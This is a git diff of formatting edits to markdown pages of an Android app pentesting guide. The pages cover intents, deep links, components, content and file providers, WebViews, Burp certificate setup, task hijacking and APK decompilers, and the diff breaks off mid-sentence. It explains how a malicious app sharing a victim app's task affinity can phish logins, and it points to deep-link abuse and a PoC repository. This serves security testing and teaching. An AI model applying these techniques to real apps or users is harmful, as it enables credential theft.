-![Flowchart of Reverse Engineer's process. DEX bytecode to SMALI to Decompiled Java](https://maddiestone.github.io/AndroidAppRE/images/ReversersFlow.jpg) +![Flowchart of Reverse Engineer's process. DEX bytecode to SMALI to Decompiled Java](https://maddiestone.github.io/AndroidAppRE/images/ReversersFlow.jpg) -**Smali is the human readable version of Dalvik bytecode**. Technically, Smali and baksmali are the name of the tools \(assembler and disassembler, respectively\), but in Android, we often use the term “Smali” to refer to instructions. If you’ve done reverse engineering or computer architecture on compiled C/C++ code. **SMALI is like the assembly language: between the higher level source code and the bytecode**. +**Smali is the human readable version of Dalvik bytecode**. Technically, Smali and baksmali are the name of the tools (assembler and disassembler, respectively), but in Android, we often use the term “Smali” to refer to instructions. If you’ve done reverse engineering or computer architecture on compiled C/C++ code. **SMALI is like the assembly language: between the higher level source code and the bytecode**. ## Intents Intents are the primary means by which Android apps communicate between their components or with other apps. These message objects can also carry data between apps or component, similar to how GET/POST requests are used in HTTP communications. -So an Intent is basically a **message that is passed between components**. Intents **can be directed** to specific components or apps, **or can be sent without a specific recipient**. +So an Intent is basically a **message that is passed between components**. Intents **can be directed** to specific components or apps, **or can be sent without a specific recipient**.\ To be simple Intent can be used: * To start an Activity, typically opening a user interface for an app @@ -127,9 +127,9 @@ Improper implementation could result in data leakage, restricted functions being An Intent Filter specify the **types of Intent that an activity, service, or Broadcast Receiver can respond to**. It specifies what an activity or service can do and what types of broadcasts a Receiver can handle. It allows the corresponding component to receive Intents of the declared type. Intent Filters are typically **defined via the AndroidManifest.xml file**. For **Broadcast Receiver** it is also possible to define them in **coding**. An Intent Filter is defined by its category, action and data filters. It can also contain additional metadata. -In Android, an activity/service/content provider/broadcast receiver is **public** when **`exported`** is set to **`true`** but a component is **also public** if the **manifest specifies an Intent filter** for it. However, -developers can **explicitly make components private** \(regardless of any intent filters\) -by setting the **`exported` attribute to `false`** for each component in the manifest file. +In Android, an activity/service/content provider/broadcast receiver is **public **when **`exported`** is set to **`true`** but a component is **also public** if the **manifest specifies an Intent filter** for it. However,\ +developers can **explicitly make components private** (regardless of any intent filters)\ +by setting the** `exported` attribute to `false`** for each component in the manifest file.\ Developers can also set the **`permission`** attribute to **require a certain permission to access** the component, thereby restricting access to the component. ### Implicit Intents @@ -140,7 +140,7 @@ Intents are programatically created using an Intent constructor: Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:")); ``` -The **Action** of the previously declared intent is **ACTION\_SEND** and the **Extra** is a mailto **Uri** \(the Extra if the extra information the intent is expecting\). +The **Action** of the previously declared intent is **ACTION_SEND** and the **Extra** is a mailto **Uri** (the Extra if the extra information the intent is expecting). This intent should be declared inside the manifest as in the following example: @@ -175,7 +175,7 @@ context.startService(intent); ### Pending Intents -These allow other applications to **take actions on behalf of your application**, using your app's identity and permissions. Constructing a Pending Intent it should be **specified an intent and the action to perform**. If the **declared intent isn't Explicit** \(doesn't declare which intent can call it\) a **malicious application could perform the declared action** on behalf of the victim app. Moreover, **if an action ins't specified**, the malicious app will be able to do **any action on behalf the victim**. +These allow other applications to **take actions on behalf of your application**, using your app's identity and permissions. Constructing a Pending Intent it should be **specified an intent and the action to perform**. If the **declared intent isn't Explicit** (doesn't declare which intent can call it) a** malicious application could perform the declared action** on behalf of the victim app. Moreover,** if an action ins't specified**, the malicious app will be able to do **any action on behalf the victim**. ### Broadcast Intents @@ -183,38 +183,38 @@ Unlike the previous intents, which are only received by one app, broadcast inten Alternatively it's also possible to **specify a permission when sending the broadcast**. The receiver app will need to have that permission. -There are **two types** of Broadcasts: **Normal** \(asynchronous\) and **Ordered** \(synchronous\). The **order** is base on the **configured priority within the receiver** element. **Each app can process, relay or drop the Broadcast.** +There are **two types** of Broadcasts: **Normal** (asynchronous) and **Ordered** (synchronous). The **order** is base on the **configured priority within the receiver** element. **Each app can process, relay or drop the Broadcast.** -It's possible to **send** a **broadcast** using the function **`sendBroadcast(intent, receiverPermission)`** from the `Context` class. +It's possible to **send** a **broadcast** using the function **`sendBroadcast(intent, receiverPermission)` **from the `Context` class.\ You could also use the function **`sendBroadcast`** from the **`LocalBroadCastManager`** ensures the **message never leaves the app**. Using this you won't even need to export a receiver component. ### Sticky Broadcasts -This kind of Broadcasts **can be accessed long after they were sent**. -These were deprecated in API level 21 and it's recommended to **not use them**. +This kind of Broadcasts **can be accessed long after they were sent**.\ +These were deprecated in API level 21 and it's recommended to **not use them**.\ **They allow any application to sniff the data, but also to modify it.** If you find functions containing the word "sticky" like **`sendStickyBroadcast`** or **`sendStickyBroadcastAsUser`**, **check the impact and try to remove them**. ## Deep links / URL schemes -**Deep links allow to trigger an Intent via URL**. An application can declare an **URL schema** inside and activity so every time the Android device try to **access an address using that schema** the applications activity will be called: +**Deep links allow to trigger an Intent via URL**. An application can declare an **URL schema **inside and activity so every time the Android device try to **access an address using that schema** the applications activity will be called: -![](../../.gitbook/assets/image%20%28141%29.png) +![](<../../.gitbook/assets/image (214).png>) -In this case the scheme in `myapp://` \(note also the **`category BROWSABLE`**\) +In this case the scheme in `myapp://` (note also the **`category BROWSABLE`**) If inside the `intent-filter`you find something like this: -![](../../.gitbook/assets/image%20%28150%29.png) +![](<../../.gitbook/assets/image (263).png>) Then, it's expecting something like `http://www.example.com/gizmos` If you find something like this: -![](../../.gitbook/assets/image%20%28242%29.png) +![](<../../.gitbook/assets/image (262).png>) -It will mean that it's expecting a URL starting by `example://gizmos` +It will mean that it's expecting a URL starting by `example://gizmos`\ In this case you could try to abuse the functionality creating a web with the following payloads. It will try to navigate to arbitrary pages and try to execute JS: ```markup @@ -224,17 +224,17 @@ In this case you could try to abuse the functionality creating a web with the fo In order to find the **code that will be executed in the App**, go to the activity called by the deeplink and search the function **`onNewIntent`**. -![](../../.gitbook/assets/image%20%28436%29%20%281%29%20%281%29%20%281%29.png) +![](<../../.gitbook/assets/image (436) (1) (1).png>) Learn how to [call deep links without using HTML pages](./#exploiting-schemes-deep-links). ## AIDL - Android Interface Definition Language -The **Android Interface Definition Language** \(AIDL\) allows you to define the programming interface that both the client and service agree upon in order to **communicate with each other using interprocess communication** \(IPC\). On Android, **one process cannot normally access the memory of another process**. So to talk, they need to decompose their objects into primitives that the **operating system** can understand, and marshall the objects across that boundary for you. The code to do that marshalling is tedious to write, so Android handles it for you with AIDL.\). +The **Android Interface Definition Language** (AIDL) allows you to define the programming interface that both the client and service agree upon in order to **communicate with each other using interprocess communication** (IPC). On Android, **one process cannot normally access the memory of another process**. So to talk, they need to decompose their objects into primitives that the **operating system** can understand, and marshall the objects across that boundary for you. The code to do that marshalling is tedious to write, so Android handles it for you with AIDL.). Services using AIDL are referred to as **Bound Services**. In the Service's class you will find the **`onBind`** method. This is **where the interaction begins** so it's initial part of the code to review looking for potential vulnerabilities. -A bound service is the server in a client-server interface. **It allows components \(such as activities\) to bind to the service, send requests, receive responses, and perform interprocess communication** \(IPC\). A bound service typically lives only while it serves another application component and does not run in the background indefinitely. +A bound service is the server in a client-server interface. **It allows components (such as activities) to bind to the service, send requests, receive responses, and perform interprocess communication** (IPC). A bound service typically lives only while it serves another application component and does not run in the background indefinitely. ### Messenger @@ -242,7 +242,7 @@ A Messenger is another type of IPC mechanism. Since the **Messenger is also a "B ### Binder -It's weird to find a Binder class directly invoked as it's much easier to use AIDL \(which abstracts the Binder class\). However, it's good to know that **Binder is a kernel-level driver which moves data from one process's memory to another's** \([https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8)\). +It's weird to find a Binder class directly invoked as it's much easier to use AIDL (which abstracts the Binder class). However, it's good to know that **Binder is a kernel-level driver which moves data from one process's memory to another's** ([https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8)). ## Components @@ -252,9 +252,9 @@ These include: **Activities, Services, Broadcast Receivers and Providers.** An **Android activity** is one screen of the **Android** app's user interface. In that way an **Android activity** is very similar to windows in a desktop application. An **Android** app may contain one or more activities, meaning one or more screens. -The **launcher activity** is what most people think of as the **entry point** to an Android application. The launcher activity is the activity that is started when a user clicks on the icon for an application. You can determine the launcher activity by looking at the application’s manifest. The launcher activity will have the following MAIN and LAUNCHER intents listed. +The **launcher activity** is what most people think of as the **entry point **to an Android application. The launcher activity is the activity that is started when a user clicks on the icon for an application. You can determine the launcher activity by looking at the application’s manifest. The launcher activity will have the following MAIN and LAUNCHER intents listed. -Keep in mind that not every application will have a launcher activity, especially apps without a UI. Examples of applications without a UI \(and thus a launcher activity\) are pre-installed applications that perform services in the background, such as voicemail. +Keep in mind that not every application will have a launcher activity, especially apps without a UI. Examples of applications without a UI (and thus a launcher activity) are pre-installed applications that perform services in the background, such as voicemail. ```markup @@ -271,7 +271,7 @@ Activities can be exported allowing other processes on the device to launch the ``` -Note that the ability to **bypass activity protections isn't always a vulnerability**, you need to check to which data you have obtained access. +Note that the ability to **bypass activity protections isn't always a vulnerability**, you need to check to which data you have obtained access.\ Also, **some activities returns data to a caller**. In these scenarios you need to search for the **`setResult`** method and check the data that is passed into the Intent parameter. **If it's sensitive data you may have an information leakage vulnerability** and it's exploitable with apps capable of communicating with the Activity. **The code of an activity starts with the `onCreate` method.** @@ -290,7 +290,7 @@ There is a myriad of ways that they can be started and thus are an entry point f When the **`startService`** method is called to start a Service, the **`onStart`** method in the Service is executed. It will run indefinitely until the **`stopService`** method is called. If the service is only needed as long as the client is connected, the client should "bind" to it using the **`bindService`** method. -For a **bound service** \(see previous section\), the data will be passed to the **`onBind`** method. +For a **bound service** (see previous section), the data will be passed to the **`onBind`** method. For example, a service might play music in the background while the user is in a different application, or it might fetch data over the network without blocking user interaction with an activity. @@ -312,20 +312,20 @@ When the specific broadcasts are sent that the receiver is registered for are se An application may register a receiver for the low battery message for example, and change its behaviour based on that information. -Broadcast can be **asynchronous** \(every receiver receives it\) or **synchronous** \(the broadcast is received in an ordered manner based on the priority set to receive it\). +Broadcast can be **asynchronous** (every receiver receives it) or **synchronous** (the broadcast is received in an ordered manner based on the priority set to receive it). {% hint style="danger" %} **Note that any application can set itself as top priority to receive a Broadcast.** {% endhint %} -To **examine** the **code** implemented into a Broadcast Receiver you need to search for the **`onReceive`** method of the class of the receiver. +To **examine** the **code** implemented into a Broadcast Receiver you need to search for the **`onReceive`** method of the class of the receiver.\ Note that **Ordered Broadcasts can drop the Intent received or even modify it** using one of the setter methods. Therefore, the **receivers should validate the data**. ### Content Provider -Content Providers are the way **apps share structured data**, such as relational databases. Therefore, it's very important to use **permissions** and set the appropriate protection level to protect them. -Content Providers can use the **`readPermission`** and **`writePermission`** attributes to specify which permissions an app must have. **These permissions take precedence over the permission attribute**. -Moreover, they can also **allow temporary exceptions** by setting the **`grantUriPermission`** to true and then configuring the appropriate parameters in the **`grant-uri-permission`** element within the provider element inside the manifest file. +Content Providers are the way **apps share structured data**, such as relational databases. Therefore, it's very important to use **permissions** and set the appropriate protection level to protect them.\ +Content Providers can use the **`readPermission`** and **`writePermission`** attributes to specify which permissions an app must have. **These permissions take precedence over the permission attribute**.\ +Moreover, they can also **allow temporary exceptions **by setting the **`grantUriPermission`** to true and then configuring the appropriate parameters in the **`grant-uri-permission`** element within the provider element inside the manifest file. The **`grant-uri-permission`** has three attributes: path, pathPrefix and pathPattern: @@ -339,17 +339,17 @@ It's **important to validate and sanitise the received input** to avoid potentia * Content Provider component supplies data from one application to others on request. * You can store the data in the file system, an SQLite database, on the web, or any other persistent storage location your app can access. -* Through the content provider, other apps can query or even modify the data \(if the content provider allows it\). +* Through the content provider, other apps can query or even modify the data (if the content provider allows it). * Content Provider is useful in cases when an app want to share data with another app. * It is much similar like databases and has four methods. - * insert\(\) - * update\(\) - * delete\(\) - * query\(\) + * insert() + * update() + * delete() + * query() #### FileProvider -This is a type of Content Provider that will **share files** from a folder. You can declare a file provider like this: +This is a type of Content Provider that will** share files **from a folder. You can declare a file provider like this: ```markup ``` -Note the **`android:exported`** attribute because if it's **`true`** external applications will be able to access the shared folders. -Note that the configuration `android:resource="@xml/filepaths"` is indicating that the file _res/xml/filepaths.xml_ contains the configuration of **which folders** this **FileProvider** is going to **share**. This is an example of how to indicate to share a folder in that file: +Note the **`android:exported`** attribute because if it's **`true`** external applications will be able to access the shared folders.\ +Note that the configuration `android:resource="@xml/filepaths"` is indicating that the file _res/xml/filepaths.xml_ contains the configuration of **which folders** this **FileProvider **is going to **share**. This is an example of how to indicate to share a folder in that file: ```markup @@ -370,18 +370,18 @@ Note that the configuration `android:resource="@xml/filepaths"` is indicating th ``` -Sharing something like **`path="."`** could be **dangerous** even if the provider isn't exported if there is other vulnerability in some part of the code that tried to access this provider. -You could **access** an **image** inside that folder with `content://com.example.myapp.fileprovider/myimages/default_image.jpg` +Sharing something like **`path="."`** could be **dangerous **even if the provider isn't exported if there is other vulnerability in some part of the code that tried to access this provider.\ +You could **access **an **image **inside that folder with `content://com.example.myapp.fileprovider/myimages/default_image.jpg` -The `` element can have multiple children, each specifying a different directory to share. In addition to the **``** element, you can use the **``** element to share directories in **external storage**, and the **``** element to share directories in your **internal cache directory**. +The `` element can have multiple children, each specifying a different directory to share. In addition to the **``** element, you can use the **``** element to share directories in **external storage**, and the **``** element to share directories in your **internal cache directory**.\ [For more information about specific file providers attributes go here.](https://developer.android.com/reference/androidx/core/content/FileProvider) [More information about FileProviders here](https://developer.android.com/training/secure-file-sharing/setup-sharing). ## WebViews -WebViews are effectively **web browsers** embedded into Android Apps. -WebViews content can be pulled from remote sites or can be files included in the app. +WebViews are effectively **web browsers** embedded into Android Apps.\ +WebViews content can be pulled from remote sites or can be files included in the app.\ WebViews are **vulnerable to the same vulnerabilities affecting any web browsers**. However there are some **configurations** that can be useful to **limit** the **attack** **surface**. There are two types of WebViews in Android: @@ -391,8 +391,8 @@ There are two types of WebViews in Android: Note that **WebView browsers doesn't have access to the native browser's cookies**. -To load a URL or file it's possible to use the functions **`loadUrl`**, **`loadData`** or **`loadDataWithBaseURL`**. **It's important to only access sanitised URLs.** -The WebView security can be configured through the **`WebSettings`** object. +To load a URL or file it's possible to use the functions **`loadUrl`**, **`loadData`** or **`loadDataWithBaseURL`**. **It's important to only access sanitised URLs.**\ +The WebView security can be configured through the **`WebSettings`** object.\ For example, JS code execution can be disabled using the **`setJavaScriptEnabled`** method with the **`false`** value. This will **remove** the possibility of a **XSS** and other JS related vulnerabilities. The JavaScript "**Bridge**" functionality **inject Java objects into a WebView making them accessible to JS**. From Android 4.2 methods must be annotated with **`@JavascriptInterface`** in order to be accessible to JavaScript. @@ -401,9 +401,9 @@ If **`true`** is passed to **`setAllowContentAccess`**, **WebViews will be able By default, local files can be accessed by WebViews via file:// URLs, but there are several ways to prevent this behaviour: -* Passing **`false`** to **`setAllowFileAccess`**, prevents the access to the filesystem with the exception of assets via `file:///android_asset` _and_ `file:///android_res`. These paths should be used only for non-sensitive data \(like images\) so this should be safe. +* Passing **`false`** to **`setAllowFileAccess`**, prevents the access to the filesystem with the exception of assets via `file:///android_asset`_ and _`file:///android_res`. These paths should be used only for non-sensitive data (like images) so this should be safe. * The method **`setAllowFileAccess`** indicates if a path from a `file://` URL should be able to access the content from other file scheme URLs. -* The method **`setAllowUniversalAccessFromFileURLs`** indicates if a path from a `file://` URL should be able to access content from any origin. +* The method **`setAllowUniversalAccessFromFileURLs`** indicates if a path from a `file:// `URL should be able to access content from any origin. ## Other App components @@ -421,7 +421,6 @@ By default, local files can be accessed by WebViews via file:// URLs, but there ## Mobile Device Management -MDM or Mobile Device Management are software suits that are used to **ensure a control and security requirements** over mobile devices. These suites use the features referred as Device Administration API and require an Android app to be installed. +MDM or Mobile Device Management are software suits that are used to **ensure a control and security requirements **over mobile devices. These suites use the features referred as Device Administration API and require an Android app to be installed. Generally the MDM solutions perform functions like enforcing password policies, forcing the encryption of storage and enable remote wiping of device data. - diff --git a/mobile-apps-pentesting/android-app-pentesting/android-burp-suite-settings.md b/mobile-apps-pentesting/android-app-pentesting/android-burp-suite-settings.md index 61873124..e1322616 100644 --- a/mobile-apps-pentesting/android-app-pentesting/android-burp-suite-settings.md +++ b/mobile-apps-pentesting/android-app-pentesting/android-burp-suite-settings.md @@ -1,6 +1,6 @@ # Burp Suite Configuration for Android -**This tutorial was taken from:** [**https://medium.com/@ehsahil/basic-android-security-testing-lab-part-1-a2b87e667533**](https://medium.com/@ehsahil/basic-android-security-testing-lab-part-1-a2b87e667533)\*\*\*\* +**This tutorial was taken from: **[**https://medium.com/@ehsahil/basic-android-security-testing-lab-part-1-a2b87e667533**](https://medium.com/@ehsahil/basic-android-security-testing-lab-part-1-a2b87e667533)**** ## Add a proxy in Burp Suite to listen. @@ -8,41 +8,41 @@ Address: **192.168.56.1** & Port: **1337** Choose _**All Interfaces**_ option. -![](https://miro.medium.com/max/700/1*0Bn7HvqI775Nr5fXGcqoJA.png) +![](https://miro.medium.com/max/700/1\*0Bn7HvqI775Nr5fXGcqoJA.png) ## **Adding listener in Android device.** -Setting → Wifi →WiredSSID \(Long press\) +Setting → Wifi →WiredSSID (Long press) Choose Modify network → Check Advance options. Select Proxy to the manual -![](https://miro.medium.com/max/700/1*gkDuYqWMldFuYguQuID7sw.png) +![](https://miro.medium.com/max/700/1\*gkDuYqWMldFuYguQuID7sw.png) Testing connection over http and https using devices browser. -1. http:// \(working\) tested — [http://ehsahil.com](http://ehsahil.com/) +1. http:// (working) tested — [http://ehsahil.com](http://ehsahil.com) -![](https://miro.medium.com/max/700/1*LJ2uhK2JqKYY_wYkH3jwbw.png) +![](https://miro.medium.com/max/700/1\*LJ2uhK2JqKYY_wYkH3jwbw.png) -2. https:// certificate error — https://google.com +2\. https:// certificate error — https://google.com -![](https://miro.medium.com/max/700/1*M-AoG6Yqo21D9qgQHLCSzQ.png) +![](https://miro.medium.com/max/700/1\*M-AoG6Yqo21D9qgQHLCSzQ.png) ## **Installing burp certificate in android device.** Download burp certificate. — Use your desktop machine to download the certificate. -[https://burp](http://burp/) +[https://burp](http://burp) -![](https://miro.medium.com/max/700/1*f4LjnkNs7oA1f4XokEeiTw.png) +![](https://miro.medium.com/max/700/1\*f4LjnkNs7oA1f4XokEeiTw.png) Click on **CA certificate download the certificate.** The downloaded certificate is in cacert.der extension and Android 5.\* does not recognise it as certificate file. -You can download the cacert file using your desktop machine and rename it from cacert.der to cacert.crt and drop it on Android device and certificate will be automatically added into **file:///sd\_card/downloads.** +You can download the cacert file using your desktop machine and rename it from cacert.der to cacert.crt and drop it on Android device and certificate will be automatically added into **file:///sd_card/downloads.** **Installing the downloaded certificate.** @@ -52,19 +52,18 @@ Now, goto: sdcard →Downloads → Select cacert.crt Now, Name it as anything “portswigger” -![](https://miro.medium.com/max/700/1*lDtlQ1FfcHEytrSZNvs2Mw.png) +![](https://miro.medium.com/max/700/1\*lDtlQ1FfcHEytrSZNvs2Mw.png) You also need to setup the PIN before adding certificate. Verifying the installed certificate using trusted certificates. Trusted certificates →Users -![](https://miro.medium.com/max/700/1*dvEffIIS0-dPE6q3ycFx3Q.png) +![](https://miro.medium.com/max/700/1\*dvEffIIS0-dPE6q3ycFx3Q.png) -After installing Certificate SSL endpoints also working fine tested using → [https://google.com](https://google.com/) +After installing Certificate SSL endpoints also working fine tested using → [https://google.com](https://google.com) -![](https://miro.medium.com/max/700/1*lt0ZvZH60HI0ud1eE9jAnA.png) +![](https://miro.medium.com/max/700/1\*lt0ZvZH60HI0ud1eE9jAnA.png) {% hint style="info" %} -After installing the certificate this way Firefox for Android won't use it \(based on my tests\), so use a different browser. +After installing the certificate this way Firefox for Android won't use it (based on my tests), so use a different browser. {% endhint %} - diff --git a/mobile-apps-pentesting/android-app-pentesting/android-task-hijacking.md b/mobile-apps-pentesting/android-app-pentesting/android-task-hijacking.md index f9a04233..92fb7876 100644 --- a/mobile-apps-pentesting/android-app-pentesting/android-task-hijacking.md +++ b/mobile-apps-pentesting/android-app-pentesting/android-task-hijacking.md @@ -2,7 +2,7 @@ ## Task, Back Stack and Foreground Activities -A task is a collection of activities that users interact with when performing a certain job. The activities are arranged in a stack—the _**back stack**_\)—in the order in which each activity is opened. +A task is a collection of activities that users interact with when performing a certain job. The activities are arranged in a stack—the _**back stack**_)—in the order in which each activity is opened. The activity that is **displayed** on the screen is called a **foreground** **activity** and its **task** is called the **foreground** **task**. At a time, only **one foreground task is visible on the screen**. @@ -13,30 +13,30 @@ This is some simple activity flow: * Activity 3 is started which pushes both Activity 1 and 2 to the Back Stack. * Now when Activity 3 is closed. The previous activity i.e., 2 is brought automatically to the foreground. This is how task navigation works in Android. -![](../../.gitbook/assets/image%20%28551%29.png) +![](<../../.gitbook/assets/image (548).png>) ### Android Multi-tasking - One Task One task is composed by several activities -![](../../.gitbook/assets/image%20%28553%29.png) +![](<../../.gitbook/assets/image (549).png>) ### Android Multi-tasking - Several Tasks Android usually manages several tasks -![](../../.gitbook/assets/image%20%28552%29.png) +![](<../../.gitbook/assets/image (550).png>) ## Task Control Knobs -![](../../.gitbook/assets/image%20%28550%29.png) +![](<../../.gitbook/assets/image (551).png>) ## Task affinity attack ### Task affinity and Launch Modes -**Task affinity** is an attribute that is defined in each `` tag in the `AndroidManifest.xml` file. It describes which Task an Activity prefers to join. -By default, every activity has the same affinity as the **package** name. +**Task affinity** is an attribute that is defined in each `` tag in the `AndroidManifest.xml` file. It describes which Task an Activity prefers to join.\ +By default, every activity has the same affinity as the **package **name. We'll be using this when creating our PoC app. @@ -44,32 +44,34 @@ We'll be using this when creating our PoC app. ``` -**Launch modes** allow you to define how a new instance of an activity is associated with the current task. The [`launchMode`](https://developer.android.com/guide/topics/manifest/activity-element#lmode) attribute specifies an instruction on how the activity should be launched into a task. +**Launch modes** allow you to define how a new instance of an activity is associated with the current task. The [`launchMode`](https://developer.android.com/guide/topics/manifest/activity-element#lmode) attribute specifies an instruction on how the activity should be launched into a task.\ There are four different **Launch Modes**: -1. standard \(Default\) +1. standard (Default) 2. singleTop 3. **singleTask** 4. singleInstance When the launchMode is set to `singleTask`, the Android system evaluates three possibilities and one of them is the reason why our attack is possible. Here they are - -* **If the Activity instance already exists**: Android resumes the existing instance instead of creating a new one. It means that there is at most one activity instance in the system under this mode. -* **If creating a new activity instance is necessary**: The Activity Manager Service \(AMS\) selects a task to host the newly created instance by finding a “**matching**” one in all existing tasks. **An activity “matches” a task if they have the same task affinity**. This is the reason why we can **specify the same task affinity as the vulnerable app in our malware/attacker's app so it launches in their task instead of creating it's own**. -* **Without finding a “matching” task**: The AMS creates a new task and makes the new activity instance the root activity of the newly created task. +* **If the Activity instance already exists**:\ + Android resumes the existing instance instead of creating a new one. It means that there is at most one activity instance in the system under this mode. +* **If creating a new activity instance is necessary**:\ + The Activity Manager Service (AMS) selects a task to host the newly created instance by finding a “**matching**” one in all existing tasks. **An activity “matches” a task if they have the same task affinity**. This is the reason why we can **specify the same task affinity as the vulnerable app in our malware/attacker's app so it launches in their task instead of creating it's own**. +* **Without finding a “matching” task**:\ + The AMS creates a new task and makes the new activity instance the root activity of the newly created task. ### Attack The victim needs to have the **malicious** **app** **installed** in his device. Then, he needs to **open** **it** **before** opening the **vulnerable** **application**. Then, when the **vulnerable** application is **opened**, the **malicious** **application** will be **opened** **instead**. If this malicious application presents the **same** **login** as the vulnerable application the **user won't have any means to know that he is putting his credentials in a malicious application**. -**You can find an attack implemented here:** [**https://github.com/az0mb13/Task\_Hijacking\_Strandhogg**](https://github.com/az0mb13/Task_Hijacking_Strandhogg)\*\*\*\* +**You can find an attack implemented here: **[**https://github.com/az0mb13/Task_Hijacking_Strandhogg**](https://github.com/az0mb13/Task_Hijacking_Strandhogg)**** ## Preventing task hijacking -Setting `taskAffinity=""` can be a quick fix for this issue. The launch mode can also be set to **singleInstance** if the app does not want other activities to join tasks belonging to it. A custom **onBackPressed\(\)** function can also be added, to override the default behaviour. +Setting `taskAffinity=""` can be a quick fix for this issue. The launch mode can also be set to **singleInstance** if the app does not want other activities to join tasks belonging to it. A custom **onBackPressed()** function can also be added, to override the default behaviour. ## **References** -* \*\*\*\*[**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/)\*\*\*\* -* \*\*\*\*[**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)\*\*\*\* - +* ****[**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/)**** +* ****[**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)**** diff --git a/mobile-apps-pentesting/android-app-pentesting/apk-decompilers.md b/mobile-apps-pentesting/android-app-pentesting/apk-decompilers.md index 86a8461a..4d4ed55d 100644 --- a/mobile-apps-pentesting/android-app-pentesting/apk-decompilers.md +++ b/mobile-apps-pentesting/android-app-pentesting/apk-decompilers.md @@ -6,24 +6,24 @@ First famous gui Java decompiler, you could use it to investigate the Java code ### [Jadx](https://github.com/skylot/jadx) -Buildin Java \(multi-platform\)and at this moment I think it's the recommended one. +Buildin Java (multi-platform)and at this moment I think it's the recommended one.\ Just **download** the **latest** version and execute it from the _**bin**_ folder: -```text +``` jadx-gui ``` -Using the GUI you can perform **text search**, go to the **functions definitions** \(_CTRL + left click_ on the function\) and cross refs \(_right click_ --> _Find Usage_\) +Using the GUI you can perform **text search**, go to the **functions definitions** (_CTRL + left click_ on the function) and cross refs (_right click _-->_ Find Usage_) -If you **only want** the **java code** but without using a GUI a very easy way is to use the jadx cli tool: +If you **only want** the **java code **but without using a GUI a very easy way is to use the jadx cli tool: -```text +``` jadx app.apk ``` -Some **interesting options of jadx** \(GUI and CLI versions\) are: +Some **interesting options of jadx** (GUI and CLI versions) are: -```text +``` -d --no-res #No resources --no-src #No source code @@ -36,35 +36,35 @@ GDA is also a powerful and fast reverse analysis platform. Which does not only s **Only for Windows.** -![](../../.gitbook/assets/image%20%28207%29%20%281%29.png) +![](<../../.gitbook/assets/image (207) (1).png>) ### [Bytecode-Viewer](https://github.com/Konloch/bytecode-viewer/releases) -Another **interesting tool to make a Static analysis is**: [**bytecode-viewer**](https://github.com/Konloch/bytecode-viewer/releases)**.** It allows you to decompile the APK using **several decompilers at the same time**. Then, you can see for example, 2 different Java decompilers and one Smali decompiler. It allows you also to **modify** the code: +Another **interesting tool to make a Static analysis is**: [**bytecode-viewer**](https://github.com/Konloch/bytecode-viewer/releases)**.** It allows you to decompile the APK using** several decompilers at the same time**. Then, you can see for example, 2 different Java decompilers and one Smali decompiler. It allows you also to **modify **the code: -![](../../.gitbook/assets/image%20%28265%29.png) +![](<../../.gitbook/assets/image (82).png>) -If you modify the code, then you can **export it**. -One bad thing of bytecode-viewer is that it **doesn't have references** or **cross-references.** +If you modify the code, then you can **export it**.\ +One bad thing of bytecode-viewer is that it **doesn't have references** or** cross-references.** -### \*\*\*\*[**Enjarify**](https://github.com/Storyyeller/enjarify)\*\*\*\* +### ****[**Enjarify**](https://github.com/Storyyeller/enjarify)**** -Enjarify is a tool for translating Dalvik bytecode to equivalent Java bytecode. This allows Java analysis tools to analyze Android applications. +Enjarify is a tool for translating Dalvik bytecode to equivalent Java bytecode. This allows Java analysis tools to analyze Android applications.\ ****Dex2jar is an older tool that also tries to translate Dalvik to Java bytecode. It works reasonably well most of the time, but a lot of obscure features or edge cases will cause it to fail or even silently produce incorrect results. By contrast, Enjarify is designed to work in as many cases as possible, even for code where Dex2jar would fail. Among other things, Enjarify correctly handles unicode class names, constants used as multiple types, implicit casts, exception handlers jumping into normal control flow, classes that reference too many constants, very long methods, exception handlers after a catchall handler, and static initial values of the wrong type. ### [CFR](https://github.com/leibnitz27/cfr) -CFR will decompile modern Java features - [including much of Java ](https://www.benf.org/other/cfr/java9observations.html)[9](https://github.com/leibnitz27/cfr/blob/master/java9stringconcat.html), [12](https://www.benf.org/other/cfr/switch_expressions.html) & [14](https://www.benf.org/other/cfr/java14instanceof_pattern), but is written entirely in Java 6, so will work anywhere! \([FAQ](https://www.benf.org/other/cfr/faq.html)\) - It'll even make a decent go of turning class files from other JVM languages back into java! +CFR will decompile modern Java features - [including much of Java ](https://www.benf.org/other/cfr/java9observations.html)[9](https://github.com/leibnitz27/cfr/blob/master/java9stringconcat.html), [12](https://www.benf.org/other/cfr/switch_expressions.html) & [14](https://www.benf.org/other/cfr/java14instanceof_pattern), but is written entirely in Java 6, so will work anywhere! ([FAQ](https://www.benf.org/other/cfr/faq.html)) - It'll even make a decent go of turning class files from other JVM languages back into java! That JAR file can be used as follows: -```text +``` java -jar ./cfr.jar "$JARFILE" --outputdir "$OUTDIR" ``` For larger JAR files I found it to run out of memory. You can simply adapt the size of the memory allocation pool of the JVM if that happens to you, too. -```text +``` java -Xmx4G -jar ./cfr.jar "$JARFILE" --outputdir "$OUTDIR" ``` @@ -74,11 +74,11 @@ In the output directory, you will find the decompiled `.java` files, together wi ### [Fernflower](https://github.com/JetBrains/intellij-community/tree/master/plugins/java-decompiler/engine) -Next up is [Fernflower](https://github.com/JetBrains/intellij-community/tree/master/plugins/java-decompiler/engine), which is part of [IntelliJ IDEA](https://www.jetbrains.com/idea/). Everyone mentions that it is an _analytical_ decompiler \(as stated in their project description\), but nobody points out what this actually means. I only found [this Stackoverflow question](https://stackoverflow.com/q/62298929), which unfortunately remains unanswered as of today. +Next up is [Fernflower](https://github.com/JetBrains/intellij-community/tree/master/plugins/java-decompiler/engine), which is part of [IntelliJ IDEA](https://www.jetbrains.com/idea/). Everyone mentions that it is an _analytical_ decompiler (as stated in their project description), but nobody points out what this actually means. I only found [this Stackoverflow question](https://stackoverflow.com/q/62298929), which unfortunately remains unanswered as of today. -Anyway, since there are no self-contained releases, you need to 